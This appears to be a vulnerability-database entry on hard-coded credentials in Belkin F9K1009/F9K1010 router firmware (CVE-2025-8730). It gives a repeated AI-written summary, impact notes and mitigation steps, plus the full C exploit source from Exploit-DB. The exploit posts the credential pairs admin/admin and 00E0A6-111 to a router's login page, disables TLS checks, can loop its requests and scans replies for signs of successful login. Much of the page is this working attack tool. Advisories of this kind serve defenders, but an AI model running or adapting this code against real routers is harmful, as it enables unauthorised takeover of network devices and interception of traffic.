Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
AI Analysis
Technical Summary
This security threat involves hard-coded credentials embedded within the firmware of Belkin F9K1009 and F9K1010 routers, specifically versions 2.00.04 and 2.00.09. Hard-coded credentials are static usernames and passwords embedded in the device's software, which cannot be changed by the user and are often widely known or easily extracted. This flaw allows attackers to bypass normal authentication processes, gaining privileged access to the router remotely. Once accessed, an attacker can manipulate router settings, intercept or redirect network traffic, and potentially launch further attacks on connected devices. The exploit code is publicly available in C language, facilitating the development of automated attacks. Although there are no known exploits in the wild at this time, the presence of such code lowers the barrier for attackers. The lack of official patches or firmware updates increases the window of exposure. This vulnerability is particularly concerning because routers are critical network infrastructure components, and compromise can lead to significant breaches of confidentiality and integrity within an organization’s network. The threat is tagged as 'remote' and 'exploit', indicating that exploitation does not require physical access. The absence of a CVSS score necessitates an independent severity assessment, which is high due to the potential impact and ease of exploitation.
Potential Impact
For European organizations, exploitation of this vulnerability could lead to unauthorized control over network routers, resulting in interception and manipulation of sensitive data, disruption of network services, and potential lateral movement within corporate networks. This can compromise confidentiality, integrity, and availability of critical information systems. Organizations relying on these specific Belkin router models for their network infrastructure, especially in sectors such as finance, government, telecommunications, and critical infrastructure, face heightened risks. The ability to remotely exploit hard-coded credentials means attackers can operate stealthily without user interaction, increasing the likelihood of persistent compromise. Additionally, compromised routers can serve as launchpads for broader attacks, including man-in-the-middle attacks and network reconnaissance, amplifying the threat landscape for European entities.
Mitigation Recommendations
1. Immediately identify and inventory all Belkin F9K1009 and F9K1010 routers running firmware versions 2.00.04 or 2.00.09 within the network. 2. Where possible, replace affected devices with models that do not contain hard-coded credentials or have updated firmware. 3. If replacement is not immediately feasible, isolate vulnerable routers on segmented network zones with strict access controls to limit exposure. 4. Monitor network traffic for unusual or unauthorized access attempts to router management interfaces, especially from external or untrusted sources. 5. Disable remote management features on these routers if enabled, or restrict access to trusted IP addresses only. 6. Employ network intrusion detection/prevention systems (IDS/IPS) to detect exploitation attempts using known signatures or anomalous behavior. 7. Engage with Belkin support channels to obtain any forthcoming patches or firmware updates addressing this vulnerability. 8. Educate network administrators on the risks of hard-coded credentials and enforce strong network device management policies. 9. Conduct regular security audits and penetration testing focusing on network infrastructure devices to detect similar vulnerabilities.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Belgium, Poland, Sweden, Austria
Indicators of Compromise
- exploit-code: /* * Title : Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials * Author : Byte Reaper * CVE : CVE-2025-8730 * Description : Exploit demonstrating an authentication bypass vulnerability * in the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides * in improper session validation logic, allowing remote attackers to gain * unauthorized access to the administrative panel without supplying valid credentials. */ #include <stdio.h> #include <string.h> #include <curl/curl.h> #include "argparse.h" #include <stdlib.h> #include <time.h> #include <errno.h> #define FULL 2000 #define LOGIN_POST 1500 const char *nameFileC = NULL; int verbose = 0; const char *router = NULL; const char *cookies = NULL; int uC = 0; const char *fullurl = NULL; int sleepS = 0; int count = 0; void exitSyscall() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); exitSyscall(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len); return 0; } return 0; } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } const char *wordLogin[] = { "login_success", "Welcome", "Dashboard", "admin panel", "Set-Cookie", "Authorization", "token", "sessionid", "redirect", "access granted", "authenticated", "user authenticated", "login ok", "login complete", "login status=success", "login=1", "auth=1", "valid credentials", "home.htm", "main.htm", "index.htm", "config.htm", "firmware.htm", "admin.htm", NULL }; void sleepTime(int sec) { if (sec <= 0) { fprintf(stderr, "\e[0;31m[-] Value seconds must be > 0 !\e[0m\n"); exitSyscall(); } struct timespec req, rem; req.tv_sec = (time_t)sec; req.tv_nsec = 0; printf("\e[0;33m[+] Sleeping for %d seconds...\e[0m\n", sec); while (nanosleep(&req, &rem) == -1) { if (errno == EINTR) { req = rem; continue; } perror("\e[0;31m[-] Nanosleep failed !\e[0m"); exitSyscall(); } printf("\e[0;34m[+] Sleep successful.\e[0m\n"); } void detectDeviceType(const char *routerIp) { printf("\n=================================== [type Device] ===================================\e[0m\n"); CURL *curl = curl_easy_init(); if (!curl) exitSyscall(); struct Mem response = { NULL, 0 }; char full[FULL]; int len = snprintf(full, sizeof(full), "http://%s", routerIp); if (checkLen(len, full, sizeof(full))) { exitSyscall(); } curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); if (sleepS) { sleepTime(sleepS); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L); CURLcode res = curl_easy_perform(curl); if (res != CURLE_OK) { fprintf(stderr, "\e[0;31m[-] curl error: %s\n", curl_easy_strerror(res)); } if (response.buffer) { if (strstr(response.buffer, "F9K1009")) { printf("\e[0;36m[+] Device: Belkin F9K1009\e[0m\n"); } else if (strstr(response.buffer, "F9K1010")) { printf("\e[0;36m[+] Device: Belkin F9K1010\e[0m\n"); } else { printf("\e[0;31m[-] Unknown device type\e[0m\n"); free(response.buffer); } } else { printf("\e[0;31m[-] Response Is NULL !\n"); }; response.buffer= NULL; response.len = 0; curl_easy_cleanup(curl); printf("=====================================================================================\n"); } void credentialsRequest(const char *routerIp) { CURL *curl = curl_easy_init(); if (curl == NULL) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exitSyscall(); } CURLcode res; char full[FULL]; int nL = 2; struct Mem response; response.buffer= NULL; response.len = 0; for (int l = 0; l <= nL; l++) { if (curl) { char full[FULL]; char post[LOGIN_POST]; if (fullurl != NULL ) { int lenFull = snprintf(full, sizeof(full), "%s", fullurl); if (checkLen(lenFull,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\n",lenFull); exitSyscall(); } printf("[+] Create FULL URL Successfully.\e[0m\n"); printf("[+] Default Port Request : %d\e[0m\n", 80); printf("[+] FULL URL : %s\n", full); } else { int lenI = snprintf(full, sizeof(full), "http://%s/login.htm", routerIp); if (checkLen(lenI,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n",lenI); exitSyscall(); } else { printf("\e[1;34m[+] Create FULL URL Successfully.\e[0m\n"); printf("\e[1;34m[+] Target IP %s\e[0m\n", routerIp); printf("\e[1;34m[+] Default Port Request : %d\e[0m\n", 80); printf("\e[1;34m[+] FULL URL : %s\e[0m\n", full); } } if (l < 2) { //login admin int vA = snprintf(post, sizeof(post), "login_username=admin&login_password=admin"); if (checkLen(vA, post, sizeof(post)) == 1) { printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n"); printf("\e[0;31m[-] Len (data): %d\e[0m\n", vA); exitSyscall(); } printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n"); printf("\e[0;36m[%d] Result POST DATA (admin) : \e[0m\n", l); printf("\n%s\n", post); } else { //login 00E0A6-111 int vE = snprintf(post, sizeof(post), "login_usernam=00E0A6-111&login_password=00E0A6-111"); if (checkLen(vE, post, sizeof(post)) == 1) { printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n"); printf("\e[0;31m[-] Len (data): %d\n", vE); exitSyscall(); } printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n"); printf("\e[0;36m[%d] Result POST DATA (00E0A6-111) : \e[0m\n", l); printf("\n%s\n", post); } curl_easy_setopt(curl, CURLOPT_URL, full); if (uC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); if (sleepS) { sleepTime(sleepS); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)"); headers = curl_slist_append(headers, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Cache-Control: max-age=0"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { long httpCode = 0; long totalR; double timeredirect; char *redirectUrl = NULL; printf("\e[0;36m[+] Request sent successfully\e[0m\n"); if (response.len == 0) { printf("\e[0;31m[-] Response Len Zero !\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", httpCode); curl_easy_getinfo(curl, CURLINFO_REDIRECT_COUNT, &totalR); curl_easy_getinfo(curl, CURLINFO_REDIRECT_TIME, &timeredirect); curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &redirectUrl); printf("\e[0;35m[+] REDIRECT : ========================\e[0m\n"); printf("\e[0;34m[+] Time REDIRECT: %.1f\e[0m\n", timeredirect); printf("\e[0;34m[+] Total REDIRECT %ld\e[0m\n", totalR); printf("\e[0;34m[+] REDIRECT to : %s\e[0m\n", redirectUrl); printf("\e[0;35m=======================================\e[0m\n"); if (httpCode >= 200 && httpCode < 300) { if (response.buffer) { for (int r = 0; wordLogin[r] != NULL; r++) { if (strstr(response.buffer, wordLogin[r]) != NULL) { printf("\e[0;34m[+] Word Found : %s\n", wordLogin[r]); printf("\e[0;35m============================================= [RESPONSE] =============================================\e[0m\n"); printf("\n%s\n",response.buffer); printf("\e[0;35m ======================================================================================================\e[0m\n"); } if (verbose) { printf("\e[0;31m[-] Word Not Found : %s\e[0m\n",wordLogin[r]); } } } else { printf("\e[0;31m[-] Response Buffer Is NULL !\e[0m\n"); printf("\e[0;31m[-] Possible Waf \e[0m\n"); } } else { printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", httpCode); } } else { printf("\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } } curl_easy_cleanup(curl); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } } int main(int argc, const char **argv) { printf("+-----------------------------------------------------------+\n"); printf("| Author : [ Byte Reaper ] |\n"); printf("| CVE : [ CVE-2025-8730 ] |\n"); printf("| Type Vuln : [ hard-coded credentials ] |\n"); printf("| Exploit publishing : [ 08/08/2025 ] |\n"); printf("| Target Service : [ Belkin F9K1009/F9K1010 ] |\n"); printf("+-----------------------------------------------------------+\n"); printf("\e[0;31m--------------------------------------------------------------------------------------------------------------------\e[0m\n"); curl_global_init(CURL_GLOBAL_DEFAULT); struct argparse_option options[] = { OPT_STRING('f', "full", &fullurl, "FULL url FORMAT (Login File)"), OPT_HELP(), OPT_STRING('i', "ip", &router, "Router Ip (12.12.12.12)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('s', "sleep", &sleepS, "Sleep Request"), OPT_INTEGER('k', "count", &count, "Number For Loop Request (-k 8 (8 Request))"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (router == NULL && fullurl == NULL) { printf("\e[0;31m[-] Please Enter target Router IP !\e[0m\n"); printf("\e[0;31m[-] Example : ./CVE-2025-8730 -i <IP> \e[0m\n"); exitSyscall(); } if (nameFileC) { uC = 1; } if (verbose) { verbose = 1; } if (fullurl) { credentialsRequest(NULL); } if (sleepS) { sleepTime(sleepS); } if (count) { for (int j = 0; j <= count; j++) { if (fullurl) { credentialsRequest(fullurl); } if (router) { credentialsRequest(router); } } } detectDeviceType(router); credentialsRequest(router); curl_global_cleanup(); return 0; }
Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
Description
Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
AI-Powered Analysis
Technical Analysis
This security threat involves hard-coded credentials embedded within the firmware of Belkin F9K1009 and F9K1010 routers, specifically versions 2.00.04 and 2.00.09. Hard-coded credentials are static usernames and passwords embedded in the device's software, which cannot be changed by the user and are often widely known or easily extracted. This flaw allows attackers to bypass normal authentication processes, gaining privileged access to the router remotely. Once accessed, an attacker can manipulate router settings, intercept or redirect network traffic, and potentially launch further attacks on connected devices. The exploit code is publicly available in C language, facilitating the development of automated attacks. Although there are no known exploits in the wild at this time, the presence of such code lowers the barrier for attackers. The lack of official patches or firmware updates increases the window of exposure. This vulnerability is particularly concerning because routers are critical network infrastructure components, and compromise can lead to significant breaches of confidentiality and integrity within an organization’s network. The threat is tagged as 'remote' and 'exploit', indicating that exploitation does not require physical access. The absence of a CVSS score necessitates an independent severity assessment, which is high due to the potential impact and ease of exploitation.
Potential Impact
For European organizations, exploitation of this vulnerability could lead to unauthorized control over network routers, resulting in interception and manipulation of sensitive data, disruption of network services, and potential lateral movement within corporate networks. This can compromise confidentiality, integrity, and availability of critical information systems. Organizations relying on these specific Belkin router models for their network infrastructure, especially in sectors such as finance, government, telecommunications, and critical infrastructure, face heightened risks. The ability to remotely exploit hard-coded credentials means attackers can operate stealthily without user interaction, increasing the likelihood of persistent compromise. Additionally, compromised routers can serve as launchpads for broader attacks, including man-in-the-middle attacks and network reconnaissance, amplifying the threat landscape for European entities.
Mitigation Recommendations
1. Immediately identify and inventory all Belkin F9K1009 and F9K1010 routers running firmware versions 2.00.04 or 2.00.09 within the network. 2. Where possible, replace affected devices with models that do not contain hard-coded credentials or have updated firmware. 3. If replacement is not immediately feasible, isolate vulnerable routers on segmented network zones with strict access controls to limit exposure. 4. Monitor network traffic for unusual or unauthorized access attempts to router management interfaces, especially from external or untrusted sources. 5. Disable remote management features on these routers if enabled, or restrict access to trusted IP addresses only. 6. Employ network intrusion detection/prevention systems (IDS/IPS) to detect exploitation attempts using known signatures or anomalous behavior. 7. Engage with Belkin support channels to obtain any forthcoming patches or firmware updates addressing this vulnerability. 8. Educate network administrators on the risks of hard-coded credentials and enforce strong network device management policies. 9. Conduct regular security audits and penetration testing focusing on network infrastructure devices to detect similar vulnerabilities.
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Technical Details
- Edb Id
- 52407
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
/* * Title : Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials * Author : Byte Reaper * CVE : CVE-2025-8730 * Description : Exploit demonstrating an authentication bypass vulnerability * in the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides * in improper session validation logic, allowing remote attackers to gain * unauthorized access to the administrative panel without supplying... (13789 more characters)
Threat ID: 689a95b8ad5a09ad002b0971
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 10/11/2025, 1:04:23 AM
Last updated: 10/18/2025, 10:52:38 PM
Views: 171
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